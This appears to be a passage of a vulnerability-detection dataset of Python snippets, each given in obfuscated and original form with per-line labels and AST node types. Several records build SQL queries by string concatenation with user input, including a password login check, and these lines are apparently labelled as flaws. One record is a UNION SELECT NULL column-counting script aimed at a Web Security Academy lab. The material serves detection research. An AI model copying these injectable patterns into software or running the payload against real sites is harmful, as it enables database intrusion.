"VAR_2.execute(\n 'select DISTINCT journal_id from pos_journal_users where user_id=%d order by journal_id'\n % VAR_3)\n",
"VAR_11 = map(lambda x1: x1[0], VAR_2.fetchall())\n",
"VAR_2.execute('string' % ','.join(map(lambda x: \"'\" + str(x) + \"'\", VAR_11)))\n",
"VAR_12 = map(lambda x1: x1[0], VAR_2.fetchall())\n",
"for journal in VAR_10.browse(VAR_2, VAR_3, VAR_12):\n",
"VAR_4 = VAR_9.search(VAR_2, VAR_3, [('state', '!=', 'confirm'), ('user_id',\n '=', VAR_3), ('journal_id', '=', journal.id)])\n",
"VAR_13 = self.pool.get('ir.model.data')\n",
"if not VAR_4:\n",
"VAR_14 = VAR_13._get_id(VAR_2, VAR_3, 'account', 'view_bank_statement_tree')\n",
"VAR_7.append(VAR_4[0])\n",
"VAR_15 = VAR_13._get_id(VAR_2, VAR_3, 'account', 'view_bank_statement_form2')\n",
"if not journal.check_dtls:\n",
"if VAR_14:\n",
"VAR_9.button_confirm_cash(VAR_2, VAR_3, VAR_4, VAR_5)\n",
"VAR_14 = VAR_13.browse(VAR_2, VAR_3, VAR_14, VAR_5=context).res_id\n",
"if VAR_15:\n",
"VAR_15 = VAR_13.browse(VAR_2, VAR_3, VAR_15, VAR_5=context).res_id\n",
"return {'domain': \"[('id','in',\" + str(VAR_7) + ')]', 'name':\n 'Close Statements', 'view_type': 'form', 'view_mode': 'tree,form',\n 'res_model': 'account.bank.statement', 'views': [(VAR_14, 'tree'), (\n VAR_15, 'form')], 'type': 'ir.actions.act_window'}\n"
] | [
"from osv import osv\n",
"from tools.translate import _\n",
"_name = 'pos.close.statement'\n",
"_description = 'Close Statements'\n",
"def close_statement(self, cr, uid, ids, context):...\n",
"\"\"\"docstring\"\"\"\n",
"company_id = self.pool.get('res.users').browse(cr, uid, uid).company_id.id\n",
"list_statement = []\n",
"mod_obj = self.pool.get('ir.model.data')\n",
"statement_obj = self.pool.get('account.bank.statement')\n",
"journal_obj = self.pool.get('account.journal')\n",
"cr.execute(\n 'select DISTINCT journal_id from pos_journal_users where user_id=%d order by journal_id'\n % uid)\n",
"j_ids = map(lambda x1: x1[0], cr.fetchall())\n",
"cr.execute(\n \"\"\" select id from account_journal\n where auto_cash='True' and type='cash'\n and id in (%s)\"\"\"\n % ','.join(map(lambda x: \"'\" + str(x) + \"'\", j_ids)))\n",
"journal_ids = map(lambda x1: x1[0], cr.fetchall())\n",
"for journal in journal_obj.browse(cr, uid, journal_ids):\n",
"ids = statement_obj.search(cr, uid, [('state', '!=', 'confirm'), ('user_id',\n '=', uid), ('journal_id', '=', journal.id)])\n",
"data_obj = self.pool.get('ir.model.data')\n",
"if not ids:\n",
"id2 = data_obj._get_id(cr, uid, 'account', 'view_bank_statement_tree')\n",
"list_statement.append(ids[0])\n",
"id3 = data_obj._get_id(cr, uid, 'account', 'view_bank_statement_form2')\n",
"if not journal.check_dtls:\n",
"if id2:\n",
"statement_obj.button_confirm_cash(cr, uid, ids, context)\n",
"id2 = data_obj.browse(cr, uid, id2, context=context).res_id\n",
"if id3:\n",
"id3 = data_obj.browse(cr, uid, id3, context=context).res_id\n",
"return {'domain': \"[('id','in',\" + str(list_statement) + ')]', 'name':\n 'Close Statements', 'view_type': 'form', 'view_mode': 'tree,form',\n 'res_model': 'account.bank.statement', 'views': [(id2, 'tree'), (id3,\n 'form')], 'type': 'ir.actions.act_window'}\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
4,
4,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"ImportFrom'",
"ImportFrom'",
"Assign'",
"Assign'",
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Expr'",
"Assign'",
"For",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Expr'",
"Assign'",
"Condition",
"Condition",
"Expr'",
"Assign'",
"Condition",
"Assign'",
"Return'"
] |
[
"def FUNC_11(self):...\n",
"\"\"\"docstring\"\"\"\n"
] | [
"def start_worker(self):...\n",
"\"\"\"docstring\"\"\"\n"
] | [
0,
0
] | [
"FunctionDef'",
"Docstring"
] |
[
"def __init__(self, VAR_0, VAR_1):...\n",
"super(CLASS_0, self).__init__(VAR_0)\n",
"self.values = VAR_1\n",
"self.return_id = self.model_class._meta.primary_key\n"
] | [
"def __init__(self, model_class, values):...\n",
"super(UpdateQuery, self).__init__(model_class)\n",
"self.values = values\n",
"self.return_id = self.model_class._meta.primary_key\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Expr'",
"Assign'",
"Assign'"
] |
[
"from __future__ import print_function\n",
"import os\n",
"import sys\n",
"import etcd\n",
"from custodia.store.interface import CSStore, CSStoreError, CSStoreExists\n",
"def FUNC_0(VAR_0):...\n",
"print(VAR_0, file=sys.stderr)\n",
"def __init__(self, VAR_1):...\n",
"self.server = VAR_1.get('etcd_server', '127.0.0.1')\n",
"self.port = int(VAR_1.get('etcd_port', 4001))\n",
"self.namespace = VAR_1.get('namespace', '/custodia')\n",
"self.etcd = etcd.Client(self.server, self.port)\n",
"FUNC_0('Error creating namespace %s: [%r]' % (self.namespace, repr(err)))\n",
"def FUNC_1(self, VAR_2):...\n",
"self.etcd.write(self.namespace, None, dir=True)\n",
"VAR_7 = self.etcd.get(os.path.join(self.namespace, VAR_2))\n",
"FUNC_0('Error fetching key %s: [%r]' % (VAR_2, repr(err)))\n",
"return VAR_7.value\n"
] | [
"from __future__ import print_function\n",
"import os\n",
"import sys\n",
"import etcd\n",
"from custodia.store.interface import CSStore, CSStoreError, CSStoreExists\n",
"def log_error(error):...\n",
"print(error, file=sys.stderr)\n",
"def __init__(self, config):...\n",
"self.server = config.get('etcd_server', '127.0.0.1')\n",
"self.port = int(config.get('etcd_port', 4001))\n",
"self.namespace = config.get('namespace', '/custodia')\n",
"self.etcd = etcd.Client(self.server, self.port)\n",
"log_error('Error creating namespace %s: [%r]' % (self.namespace, repr(err)))\n",
"def get(self, key):...\n",
"self.etcd.write(self.namespace, None, dir=True)\n",
"result = self.etcd.get(os.path.join(self.namespace, key))\n",
"log_error('Error fetching key %s: [%r]' % (key, repr(err)))\n",
"return result.value\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
1,
0,
0
] | [
"ImportFrom'",
"Import'",
"Import'",
"Import'",
"ImportFrom'",
"FunctionDef'",
"Expr'",
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"FunctionDef'",
"Expr'",
"Assign'",
"Expr'",
"Return'"
] |
[
"def FUNC_2(self, VAR_1, VAR_2, *VAR_3, **VAR_4):...\n",
"self.handled_resp = VAR_1\n",
"self.handled_remote = VAR_2\n",
"self.handled_args = VAR_3\n",
"self.handled_kwargs = VAR_4\n",
"return 'TEST'\n"
] | [
"def handler(self, resp, remote, *args, **kwargs):...\n",
"self.handled_resp = resp\n",
"self.handled_remote = remote\n",
"self.handled_args = args\n",
"self.handled_kwargs = kwargs\n",
"return 'TEST'\n"
] | [
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Return'"
] |
[
"@property...\n",
"return os.path.exists(self.file)\n"
] | [
"@property...\n",
"return os.path.exists(self.file)\n"
] | [
0,
0
] | [
"Condition",
"Return'"
] |
[
"def FUNC_11(VAR_22, VAR_23):...\n",
"if not VAR_23:\n",
"return VAR_22\n",
"for k in VAR_23.split('.'):\n",
"if k in VAR_22 and isinstance(VAR_22[k], dict):\n",
"return VAR_22\n",
"VAR_22 = VAR_22[k]\n"
] | [
"def strip_hash(h, keys):...\n",
"if not keys:\n",
"return h\n",
"for k in keys.split('.'):\n",
"if k in h and isinstance(h[k], dict):\n",
"return h\n",
"h = h[k]\n"
] | [
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"For",
"Condition",
"Return'",
"Assign'"
] |
[
"async def FUNC_7(VAR_6):...\n",
"VAR_7 = {'date': '2015-06-20', 'distance': 2000, 'time': 405, 'location':\n '32.0853 34.7818'}\n",
"VAR_8 = await VAR_6.post('/results', VAR_7=json.dumps(data))\n",
"assert VAR_8.status == 400\n"
] | [
"async def test_negative_jogging_result_no_uath(test_cli):...\n",
"data = {'date': '2015-06-20', 'distance': 2000, 'time': 405, 'location':\n '32.0853 34.7818'}\n",
"resp = await test_cli.post('/results', data=json.dumps(data))\n",
"assert resp.status == 400\n"
] | [
0,
0,
0,
0
] | [
"AsyncFunctionDef'",
"Assign'",
"Assign'",
"Assert'"
] |
[
"def FUNC_1(self):...\n",
"VAR_6 = self.client.get('/api/apps')\n",
"self.assertEqual(VAR_6.status_code, 200)\n",
"self.assertEqual(len(VAR_6.data['results']), 2)\n",
"VAR_8 = VAR_6.data['results'][0]['id']\n",
"VAR_5 = '/api/apps/{}/perms'.format(VAR_8)\n",
"VAR_7 = {'username': 'autotest-2'}\n",
"VAR_6 = self.client.post(VAR_5, json.dumps(VAR_7), content_type=\n 'application/json')\n",
"self.assertEqual(VAR_6.status_code, 201)\n",
"VAR_6 = self.client.get('/api/apps/{}/perms'.format(VAR_8), content_type=\n 'application/json')\n",
"self.assertEqual(VAR_6.data, {'users': ['autotest-2']})\n"
] | [
"def test_list(self):...\n",
"response = self.client.get('/api/apps')\n",
"self.assertEqual(response.status_code, 200)\n",
"self.assertEqual(len(response.data['results']), 2)\n",
"app_id = response.data['results'][0]['id']\n",
"url = '/api/apps/{}/perms'.format(app_id)\n",
"body = {'username': 'autotest-2'}\n",
"response = self.client.post(url, json.dumps(body), content_type=\n 'application/json')\n",
"self.assertEqual(response.status_code, 201)\n",
"response = self.client.get('/api/apps/{}/perms'.format(app_id),\n content_type='application/json')\n",
"self.assertEqual(response.data, {'users': ['autotest-2']})\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
5,
0
] | [
"FunctionDef'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Expr'"
] |
[
"from copy import deepcopy\n",
"from django.db.models.signals import post_save, post_delete, m2m_changed\n",
"from django.utils import timezone\n",
"from lib.cache import CachedAbstract\n",
"from notification.models import Notification\n",
"from ..models import LearningObject, Submission\n",
"from .hierarchy import ContentMixin\n",
"VAR_7 = 'points'\n",
"def __init__(self, VAR_8, VAR_9, VAR_10):...\n",
"self.content = VAR_10\n",
"self.instance = VAR_8\n",
"self.user = VAR_9\n",
"super().__init__(VAR_8, VAR_9)\n",
"def FUNC_3(self, VAR_11):...\n",
"return VAR_11 is None or VAR_11['created'] < self.content.created()\n"
] | [
"from copy import deepcopy\n",
"from django.db.models.signals import post_save, post_delete, m2m_changed\n",
"from django.utils import timezone\n",
"from lib.cache import CachedAbstract\n",
"from notification.models import Notification\n",
"from ..models import LearningObject, Submission\n",
"from .hierarchy import ContentMixin\n",
"KEY_PREFIX = 'points'\n",
"def __init__(self, course_instance, user, content):...\n",
"self.content = content\n",
"self.instance = course_instance\n",
"self.user = user\n",
"super().__init__(course_instance, user)\n",
"def _needs_generation(self, data):...\n",
"return data is None or data['created'] < self.content.created()\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"Assign'",
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"FunctionDef'",
"Return'"
] |
[
"def FUNC_35(self, VAR_51):...\n",
"VAR_69, VAR_73 = self.post('/mails/delete', json.dumps({'idents': VAR_51}))\n",
"return VAR_69\n"
] | [
"def delete_mails(self, idents):...\n",
"res, req = self.post('/mails/delete', json.dumps({'idents': idents}))\n",
"return res\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Return'"
] |
[
"def FUNC_7(self):...\n",
"VAR_3 = ('UPDATE jdk_entries ' + 'SET date_last_modified = ' + VAR_1 + ' ' +\n \"WHERE jdk_entries.id = '\" + self.entry_id + \"';\")\n",
"FUNC_0(VAR_3)\n",
"return None\n"
] | [
"def update_date_modified(self):...\n",
"sql = ('UPDATE jdk_entries ' + 'SET date_last_modified = ' +\n CURRENT_DATESTAMP + ' ' + \"WHERE jdk_entries.id = '\" + self.entry_id + \"';\"\n )\n",
"db_execute(sql)\n",
"return None\n"
] | [
0,
4,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Expr'",
"Return'"
] |
[
"def FUNC_17(self):...\n",
"VAR_7 = [('x', 'y'), (1, 2)]\n",
"VAR_8 = [('key', 'filename', 'file data')]\n",
"VAR_9, VAR_10 = url_helper.EncodeMultipartFormData()\n",
"self.assertTrue(VAR_9.startswith('multipart/form-data; boundary='))\n",
"self.assertEqual('', VAR_10)\n",
"VAR_9, VAR_10 = url_helper.EncodeMultipartFormData(VAR_7=fields)\n",
"self.assertTrue(VAR_9.startswith('multipart/form-data; boundary='))\n",
"self.assertTrue('name=\"x\"\\r\\n\\r\\ny' in VAR_10, VAR_10)\n",
"self.assertTrue('name=\"1\"\\r\\n\\r\\n2' in VAR_10, VAR_10)\n",
"VAR_9, VAR_10 = url_helper.EncodeMultipartFormData(VAR_8=files)\n",
"self.assertTrue(VAR_9.startswith('multipart/form-data; boundary='))\n",
"self.assertTrue('name=\"key\"; filename=\"filename\"' in VAR_10, VAR_10)\n",
"self.assertTrue('file data' in VAR_10, VAR_10)\n",
"VAR_9, VAR_10 = url_helper.EncodeMultipartFormData(VAR_7=fields, VAR_8=files)\n",
"self.assertTrue(VAR_9.startswith('multipart/form-data; boundary='))\n",
"self.assertTrue('name=\"x\"\\r\\n\\r\\ny' in VAR_10, VAR_10)\n",
"self.assertTrue('name=\"1\"\\r\\n\\r\\n2' in VAR_10, VAR_10)\n"
] | [
"def testEncodeMultipartFormData(self):...\n",
"fields = [('x', 'y'), (1, 2)]\n",
"files = [('key', 'filename', 'file data')]\n",
"content_type, body = url_helper.EncodeMultipartFormData()\n",
"self.assertTrue(content_type.startswith('multipart/form-data; boundary='))\n",
"self.assertEqual('', body)\n",
"content_type, body = url_helper.EncodeMultipartFormData(fields=fields)\n",
"self.assertTrue(content_type.startswith('multipart/form-data; boundary='))\n",
"self.assertTrue('name=\"x\"\\r\\n\\r\\ny' in body, body)\n",
"self.assertTrue('name=\"1\"\\r\\n\\r\\n2' in body, body)\n",
"content_type, body = url_helper.EncodeMultipartFormData(files=files)\n",
"self.assertTrue(content_type.startswith('multipart/form-data; boundary='))\n",
"self.assertTrue('name=\"key\"; filename=\"filename\"' in body, body)\n",
"self.assertTrue('file data' in body, body)\n",
"content_type, body = url_helper.EncodeMultipartFormData(fields=fields,\n files=files)\n",
"self.assertTrue(content_type.startswith('multipart/form-data; boundary='))\n",
"self.assertTrue('name=\"x\"\\r\\n\\r\\ny' in body, body)\n",
"self.assertTrue('name=\"1\"\\r\\n\\r\\n2' in body, body)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Expr'",
"Expr'"
] |
[
"from modules import sql\n",
"def __init__(self, VAR_0=None, VAR_1=None, VAR_2=None, VAR_3=None, VAR_4=None):...\n",
"self.name = VAR_1\n",
"self.password = VAR_2\n",
"self.email = VAR_3\n",
"self.country = VAR_4\n",
"self.conn = VAR_0\n",
"def FUNC_0(self):...\n",
"self.name = None\n",
"self.password = None\n",
"self.email = None\n",
"self.count = None\n",
"def FUNC_1(self):...\n",
"VAR_9 = (\n \"select count(*) from users where name='%s' and password='%s';\"\n % (self.name, self.password))\n",
"VAR_10 = sql.queryDB(self.conn, VAR_9)\n",
"VAR_11 = VAR_10[0][0]\n",
"if VAR_11 == 0:\n",
"self.clean()\n",
"return True\n",
"return False\n"
] | [
"from modules import sql\n",
"def __init__(self, conn=None, name=None, password=None, email=None, country...\n",
"self.name = name\n",
"self.password = password\n",
"self.email = email\n",
"self.country = country\n",
"self.conn = conn\n",
"def clean(self):...\n",
"self.name = None\n",
"self.password = None\n",
"self.email = None\n",
"self.count = None\n",
"def userLogin(self):...\n",
"sqlName = (\n \"select count(*) from users where name='%s' and password='%s';\"\n % (self.name, self.password))\n",
"checkName = sql.queryDB(self.conn, sqlName)\n",
"result = checkName[0][0]\n",
"if result == 0:\n",
"self.clean()\n",
"return True\n",
"return False\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
4,
4,
0,
0,
0,
0,
0
] | [
"ImportFrom'",
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Expr'",
"Return'",
"Return'"
] |
[
"def FUNC_22(self):...\n",
"return EnvValue.objects.filter(property__id=self.request.GET.get(\n 'env_property_id'))\n"
] | [
"def env_values(self):...\n",
"return EnvValue.objects.filter(property__id=self.request.GET.get(\n 'env_property_id'))\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_11(self):...\n",
"for string in self.test_strings:\n",
"self.assertEqual(prepare_string_argument(string, 'WeIrD_O/S'), string)\n"
] | [
"def test_prepare_string_argument_unsupported(self):...\n",
"for string in self.test_strings:\n",
"self.assertEqual(prepare_string_argument(string, 'WeIrD_O/S'), string)\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"For",
"Expr'"
] |
[
"def FUNC_2():...\n",
"\"\"\"docstring\"\"\"\n",
"return db.engine.execute('string')\n"
] | [
"def query_packets_with_signed():...\n",
"\"\"\"docstring\"\"\"\n",
"return db.engine.execute(\n \"\"\"\n SELECT packets.username AS username, packets.name AS name, coalesce(packets.sigs_recvd, 0) AS received \n FROM ( ( SELECT freshman.rit_username \n AS username, freshman.name AS name, packet.id AS id, packet.start AS start, packet.end AS end \n FROM freshman INNER JOIN packet ON freshman.rit_username = packet.freshman_username) AS a \n LEFT JOIN ( SELECT totals.id AS id, coalesce(sum(totals.signed), 0) AS sigs_recvd \n FROM ( SELECT packet.id AS id, coalesce(count(signature_fresh.signed), 0) AS signed \n FROM packet FULL OUTER JOIN signature_fresh ON signature_fresh.packet_id = packet.id \n WHERE signature_fresh.signed = TRUE AND packet.start < now() AND now() < packet.end \n GROUP BY packet.id \n UNION SELECT packet.id AS id, coalesce(count(signature_upper.signed), 0) AS signed FROM packet \n FULL OUTER JOIN signature_upper ON signature_upper.packet_id = packet.id \n WHERE signature_upper.signed = TRUE AND packet.start < now() AND now() < packet.end \n GROUP BY packet.id ) totals GROUP BY totals.id ) AS b ON a.id = b.id ) AS packets \n WHERE packets.start < now() AND now() < packets.end; \n \"\"\"\n )\n"
] | [
0,
0,
4
] | [
"FunctionDef'",
"Docstring",
"Return'"
] |
[
"def FUNC_6(VAR_3):...\n",
"\"\"\"docstring\"\"\"\n",
"return {'password_reset': get_password_reset_form().to_json(), 'login':\n get_login_session_form().to_json(), 'registration':\n RegistrationFormFactory().get_registration_form(VAR_3).to_json()}\n"
] | [
"def _get_form_descriptions(request):...\n",
"\"\"\"docstring\"\"\"\n",
"return {'password_reset': get_password_reset_form().to_json(), 'login':\n get_login_session_form().to_json(), 'registration':\n RegistrationFormFactory().get_registration_form(request).to_json()}\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Return'"
] |
[
"def FUNC_2(VAR_4: str):...\n",
"return redirect('/admin/users/edit?fault=' + str(VAR_4))\n"
] | [
"def recreate_form(reason: str):...\n",
"return redirect('/admin/users/edit?fault=' + str(reason))\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_2(VAR_11):...\n",
"VAR_12 = 'meal_planner.db'\n",
"VAR_15 = datetime.datetime.now()\n",
"VAR_16 = datetime.date(VAR_15.year, VAR_15.month, VAR_15.day)\n",
"VAR_17 = VAR_16.isocalendar()[1]\n",
"VAR_18 = 'recipes_' + str(VAR_17)\n",
"VAR_20 = conn.cursor()\n",
"VAR_20.execute('SELECT recipe FROM ' + VAR_18 + ' WHERE recipe = ' + '\"' +\n VAR_11 + '\"')\n",
"VAR_23 = VAR_20.fetchone()\n",
"if VAR_23:\n",
"print(VAR_23[0])\n",
"FUNC_3(VAR_11)\n",
"messagebox.showerror('Cannot Delete',\n \"Cannot delete recipe when it's used in the current week's menu.\")\n"
] | [
"def delete_recipe(recipeName):...\n",
"database_file = 'meal_planner.db'\n",
"now = datetime.datetime.now()\n",
"dt = datetime.date(now.year, now.month, now.day)\n",
"weekNumber = dt.isocalendar()[1]\n",
"tableName = 'recipes_' + str(weekNumber)\n",
"cursor = conn.cursor()\n",
"cursor.execute('SELECT recipe FROM ' + tableName + ' WHERE recipe = ' + '\"' +\n recipeName + '\"')\n",
"returnObject = cursor.fetchone()\n",
"if returnObject:\n",
"print(returnObject[0])\n",
"actually_delete(recipeName)\n",
"messagebox.showerror('Cannot Delete',\n \"Cannot delete recipe when it's used in the current week's menu.\")\n"
] | [
0,
0,
0,
0,
0,
0,
0,
4,
4,
4,
4,
0,
4
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Condition",
"Expr'",
"Expr'",
"Expr'"
] |
[
"def FUNC_5(self, VAR_7):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_35 = self._get_relation_attribute_value(VAR_7)\n",
"if VAR_35 is None:\n",
"VAR_40 = None\n",
"if not self._accessor is None:\n",
"return VAR_40\n",
"VAR_52 = self._make_accessor(VAR_7.attr_type)\n",
"VAR_52 = None\n",
"VAR_37 = get_current_registry()\n",
"VAR_39 = VAR_37.getUtility(IDataTraversalProxyFactory)\n",
"VAR_40 = VAR_39.make_proxy(VAR_35, VAR_52, self.relationship_direction,\n VAR_11=self._get_proxy_options(attribute))\n"
] | [
"def get_attribute_proxy(self, attribute):...\n",
"\"\"\"docstring\"\"\"\n",
"attr_val = self._get_relation_attribute_value(attribute)\n",
"if attr_val is None:\n",
"prx = None\n",
"if not self._accessor is None:\n",
"return prx\n",
"acc = self._make_accessor(attribute.attr_type)\n",
"acc = None\n",
"reg = get_current_registry()\n",
"prx_fac = reg.getUtility(IDataTraversalProxyFactory)\n",
"prx = prx_fac.make_proxy(attr_val, acc, self.relationship_direction,\n options=self._get_proxy_options(attribute))\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Return'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'"
] |
[
"@property...\n",
"\"\"\"docstring\"\"\"\n",
"return self._attributes.get('dimensions', {}).copy()\n"
] | [
"@property...\n",
"\"\"\"docstring\"\"\"\n",
"return self._attributes.get('dimensions', {}).copy()\n"
] | [
0,
0,
0
] | [
"Condition",
"Docstring",
"Return'"
] |
[
"import requests\n",
"import sys\n",
"VAR_0 = 'https://abcd.web-security-academy.net/page'\n",
"VAR_1 = {'category': 'Lifestyle'}\n",
"VAR_2 = [\"'UNION\", 'SELECT', 'NULL', '--']\n",
"VAR_3 = {'category': f\"Lifestyle{' '.join(VAR_2)}\"}\n",
"VAR_4 = requests.Session()\n",
"VAR_5 = VAR_4.get(VAR_0, VAR_1=sqli)\n",
"if VAR_5.status_code == 404:\n",
"sys.exit('The session you are looking for has expired')\n",
"def FUNC_0(VAR_5):...\n",
"while not VAR_5.ok:\n",
"VAR_2.pop(-1)\n",
"print(f\"There are {VAR_2.count('NULL')} columns\")\n",
"VAR_2.extend([',', 'NULL', '--'])\n",
"return VAR_2\n",
"VAR_3['category'] = f\"Lifestyle{' '.join(VAR_2)}\"\n",
"VAR_5 = VAR_4.get(VAR_0, VAR_1=sqli)\n"
] | [
"import requests\n",
"import sys\n",
"url = 'https://abcd.web-security-academy.net/page'\n",
"params = {'category': 'Lifestyle'}\n",
"null = [\"'UNION\", 'SELECT', 'NULL', '--']\n",
"sqli = {'category': f\"Lifestyle{' '.join(null)}\"}\n",
"api_session = requests.Session()\n",
"response = api_session.get(url, params=sqli)\n",
"if response.status_code == 404:\n",
"sys.exit('The session you are looking for has expired')\n",
"def sqli_union_1_lab(response):...\n",
"while not response.ok:\n",
"null.pop(-1)\n",
"print(f\"There are {null.count('NULL')} columns\")\n",
"null.extend([',', 'NULL', '--'])\n",
"return null\n",
"sqli['category'] = f\"Lifestyle{' '.join(null)}\"\n",
"response = api_session.get(url, params=sqli)\n"
] | [
0,
0,
4,
0,
4,
0,
0,
4,
0,
0,
0,
4,
4,
0,
0,
0,
0,
0
] | [
"Import'",
"Import'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Expr'",
"FunctionDef'",
"Condition",
"Expr'",
"Expr'",
"Expr'",
"Return'",
"Assign'",
"Assign'"
] |
[
"def FUNC_5(VAR_2, VAR_5, VAR_4):...\n",
"VAR_8 = VAR_4.connect()\n",
"VAR_9 = VAR_8.cursor()\n",
"VAR_10 = \"SELECT userId FROM Users WHERE userEmail = '{0}'\".format(VAR_2)\n",
"VAR_9.execute(VAR_10)\n",
"VAR_13 = VAR_9.fetchone()\n",
"if VAR_13 is None:\n",
"return None\n",
"VAR_14 = 'string'.format(VAR_13[0], VAR_5)\n",
"VAR_9.execute(VAR_14)\n",
"VAR_13 = VAR_9.fetchone()\n",
"if VAR_13:\n",
"return VAR_13\n",
"return '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''\n"
] | [
"def getAvailability(username, calendarId, sqlInstance):...\n",
"conn = sqlInstance.connect()\n",
"cursor = conn.cursor()\n",
"userCheckQuery = \"SELECT userId FROM Users WHERE userEmail = '{0}'\".format(\n username)\n",
"cursor.execute(userCheckQuery)\n",
"result = cursor.fetchone()\n",
"if result is None:\n",
"return None\n",
"queryString = (\n \"\"\"SELECT zero, one, two, three, four, five, six, seven, eight, nine, ten, eleven, twelve,\n thirteen, fourteen, fifteen, sixteen, seventeen, eighteen, nineteen, twenty, twentyone,\n twentytwo, twentythree FROM TimeSlots WHERE userID = {0} AND calendarId='{1}'\"\"\"\n .format(result[0], calendarId))\n",
"cursor.execute(queryString)\n",
"result = cursor.fetchone()\n",
"if result:\n",
"return result\n",
"return '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
4,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Condition",
"Return'",
"Assign'",
"Expr'",
"Assign'",
"Condition",
"Return'",
"Return'"
] |
[
"def FUNC_11(**VAR_19):...\n",
"VAR_39 = {'name': VAR_19.get('name'), 'description': VAR_19.get('description')}\n",
"VAR_40 = FUNC_8('contests/add', VAR_16=add_args)\n",
"VAR_41 = VAR_40.text\n",
"VAR_42 = re.search('string', VAR_41)\n",
"if VAR_42 is not None:\n",
"VAR_18 = int(VAR_42.groups()[0])\n",
"FUNC_8('contest/%s' % VAR_18, VAR_16=kwargs)\n",
"return VAR_18\n"
] | [
"def add_contest(**kwargs):...\n",
"add_args = {'name': kwargs.get('name'), 'description': kwargs.get(\n 'description')}\n",
"resp = admin_req('contests/add', args=add_args)\n",
"page = resp.text\n",
"match = re.search(\n '<form enctype=\"multipart/form-data\" action=\"../contest/([0-9]+)\" method=\"POST\" name=\"edit_contest\" style=\"display:inline;\">'\n , page)\n",
"if match is not None:\n",
"contest_id = int(match.groups()[0])\n",
"admin_req('contest/%s' % contest_id, args=kwargs)\n",
"return contest_id\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Expr'",
"Return'"
] |
[
"def FUNC_4(self, VAR_8, VAR_4):...\n",
"VAR_14 = self.__cache_map[VAR_8]\n",
"VAR_14.add(VAR_4)\n"
] | [
"def add(self, entity_class, entity):...\n",
"cache = self.__cache_map[entity_class]\n",
"cache.add(entity)\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Expr'"
] |
[
"def FUNC_20(self):...\n",
"print('INFO: connection recovered')\n",
"return DeadConnectionDetector.connectionRecovered(self)\n"
] | [
"def connectionRecovered(self):...\n",
"print('INFO: connection recovered')\n",
"return DeadConnectionDetector.connectionRecovered(self)\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Expr'",
"Return'"
] |
[
"def FUNC_8(self, VAR_7, VAR_5):...\n",
"VAR_11 = VAR_7[0]\n",
"VAR_12 = VAR_7[1]\n",
"VAR_24 = 1 + 1.0 * VAR_5 / VAR_7['lkvm']\n",
"self.G[VAR_11][VAR_12]['wlpvm'] = VAR_24\n"
] | [
"def calcWLPVM(self, edge, l):...\n",
"i = edge[0]\n",
"j = edge[1]\n",
"wlpvm = 1 + 1.0 * l / edge['lkvm']\n",
"self.G[i][j]['wlpvm'] = wlpvm\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'"
] |
[
"def FUNC_5(VAR_13):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_56 = in_f.readlines()\n",
